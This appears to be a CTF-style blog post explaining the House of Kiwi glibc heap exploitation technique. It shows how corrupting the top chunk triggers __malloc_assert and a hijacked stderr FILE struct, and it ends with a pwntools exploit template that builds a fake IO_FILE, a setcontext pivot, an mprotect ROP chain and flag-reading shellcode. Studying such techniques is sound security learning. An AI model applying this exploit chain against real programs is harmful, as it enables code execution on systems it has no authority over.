Before Reading
The House of Kiwi is depreciated in high-version GLIBC, but it's important to learn its methodology, especially for the upcoming post House of Emma.
In early versions of GLIBC 2.34 (glibc-2.34-0ubuntu3_amd64
& before), we can modify vtable
as any addresses, so that we can control the function pointers inside it easily.
However, after glibc-2.34-0ubuntu3.2_amd64
, there's a security check on the vtable
, restricting it within section of __libc_IO_vtables
:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
As a result, this House no longer works. But it provides a strategy for calling __malloc_assert
to trigger I/O operation (FSOP).
Trigger
Exploiting I/O structs is high-level skill in heap exploitation, which is super powerful and can be leveraged under restricted conditions for hard guarded programs — sometimes we don't even need an overflow to finish the attack. The only fundamental requirement to utilize this weapon is the TRIGGERS — whenever the program deals with files.
exit
In FSOP, it's a common technique to leverage the exit
function to trigger I/O operation like the attack we go-through in the TravelGraph writeup. And its chain of activation can be ordered as:
exit
└───►fcloseall
└───►_IO_cleanup
└───►_IO_flush_all_lockp
└───►_IO_OVERFLOW
However, we don't always has the exit
function in a binary.
For example, a binary might use _exit
instead (with the underscore ahead), which applies syscall
to end the program — that we don't have a chance to call the essential _IO_cleanup
as aforementioned:
And some times, we will meet an infinite loop for a main
function:
int main() {
while(1) {
// codes
}
// This line will never be reached
return 0;
}
If there're no evident I/O operation in the binary, what can we do?
__malloc_assert
There is a function has been long existed in malloc.c
, that everyone should have possibly met it when the program comes into an error:
// malloc.c ( #include <assert.h> )
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
House of Kiwi has brought it to our attention in a bright and striking way. From the above code snippet, the function __malloc_assert
calls fflush
and takes the IO struct stderr
as parameter, which is a standard file
struct, with same structure as _IO_FILE
. It points to _IO_2_1_stderr_
, which is on top of the linked list pointed by _IO_list_all
:
Once the function dives into the struct, it eventually calls _IO_file_sync
(+0x60) from its vtable pointer (_IO_file_jumps)
. When the environment satisfy certain conditions to be run into such error, calling functions from the malloc familiy (i.e. malloc, calloc, realloc) will get into the _int_malloc
process chain:
_int_malloc
└───►sysmalloc
└───► __malloc_assert
└───► fflush(stderr)
└───► _IO_file_sync (_IO_new_file_sync)
The register
rdx
will be_IO_helper_jumps
at the moment.
The destination of the chain _IO_file_sync
(we see it as _IO_new_file_sync
in GDB) is an internal C function, which we can hijack it to an evil function we want to execute with some exploit primitives.
Furthermore, there's another chain, triggered when the function prints out the message for us:
_int_malloc
└───► sysmalloc
└───► __malloc_assert
└───► __fxprintf
└───► __vfxprintf
└───► __vfxprintf_internal
└───► _IO_file_xsputn
This chain is also frequently used in PWN scenario, because it's ahead of the previous one. But we need to make sure that the _lock
pointer in the fake IO_FILE struct should be a writable address, according to my personal debugging experience.
Therefore, if we control the stderr
file struct, we may be able to control execution flow.
Triggers for Trigger
Now comes to our next question: when the function __malloc_assert
is called? We need to let the program calls it up without its awareness.
When the programs calls _int_malloc
to answer our request for allocating chunks, there's a macro assert
:
void *_int_malloc(mstate av, size_t bytes) {
// ...
// Iterate through the bins to find a free chunk
for (bin = bin_at(av, idx); (victim = last(bin)) != bin; ) {
bck = victim->bk;
// Assert that the back pointer belongs to the main arena
assert(chunk_main_arena(bck->bk));
// Remove the victim chunk from the bin list
unlink(victim, bck, fwd);
// ...
}
// ...
}
In our exploit scenario, we usually go for another easy-trigger trick — modify the top chunk to be abnormal — then sysmalloc
will join the party to alert us:
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
- The size of top chunk is less than 0x20 (
MINSIZE
). - The
prev_inuse
bit of top chunk is 0. - The
old_top
is not page alignment.
Any one of the above triggers will make the attack work. Thus, the easiest way to trigger __malloc_assert
is shrinking the top chunk size and make its pre_inuse
bit to be 0, leading us into the journey of I/O operation.
Requirements
Unlike FSOP, we will need at least 2 primitives of Largebin Attack or some other similar attack methods like UAF or chunk overlapping:
- Overwrite pointer
stderr
which points to_IO_2_1_stderr_
to an address of memory area we are in control. - Overwrite top chunk size and set
prev_inuse
bit to 0, to trigger__malloc_assert
.
For example:
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18); // get top chunk
*top_size = (*top_size)&0xFFE // size down & clear prev_inuse bit
malloc(0x1000) // trigger assert
EXP Template
Since the demo for explaining attack technique is depreciated in high-version GLIBC, I will not provide a writeup in this post, but another writeup for House of Emma using the methodology introduced.
Here certainly we can catch a glimpse at the EXP template I prepare for quick pwn's to understand how this primitive works:
# Gadgets
rop = ROP(libc)
p_rdi_r = libc_base + rop.find_gadget(['pop rdi', 'ret'])[0]
p_rsi_r = libc_base + rop.find_gadget(['pop rsi', 'ret'])[0]
p_rdx_rbx_r = libc_base + rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0]
ret = libc_base + rop.find_gadget(['ret'])[0]
stderr = libc_base + libc.sym['stderr']
setcontext = libc_base + libc.sym['setcontext'] + 61
mprotect = libc_base + libc.sym['mprotect']
# Largebin Attack
pl = flat({
0x18: stderr-0x20, # hijack bk_nextsize of largebin chunk
})
fakeIO_addr = stderr
mprotect_chain = [p_rdi_r, fakeIO_addr&(~0xfff), p_rsi_r, 0x4000, \
p_rdx_rbx_r, 7, 0, mprotect, fakeIO_addr+0x140]
orw_chain = asm(shellcraft.cat('/flag'))
# FSOP
pl = flat({
# fake_IO
0: {
0x0: 0, # _flag
0x20: 0, # _IO_write_base
0x28: 1, # _IO_write_ptr
0x88: fakeIO_addr, # _lock
0xa0: fakeIO_addr+0x100, # _wide_data = rdx
0xd8: _IO_wfile_jumps # vtable
},
# fake_IO->_wide_data
0x100: {
0x18: 0, # _IO_write_base
0x30: 0, # _IO_buf_base
0x40: orw_chain, # mprotect ->
0xa0: [fakeIO_addr+0x300, ret], # setcontext ->
0xe0: fakeIO_addr+0x200 # _wide_vtable
},
# fake_IO->wide_data->_wide_vtable
0x200: {
# <+61>: mov rsp, [rdx+0xa0]
# <+294>: mov rcx, [rdx+0xa8]
# <+301>: push rcx
# <+334>: ret
0x68: setcontext # __doallocate
},
0x300: {
0x0: mprotect_chain,
}
}, filler='\0')
# Modify top chunk size
...
# Trigger House of Kiwi
...
Custom EXP template with self-define functions: link
Comments | NOTHING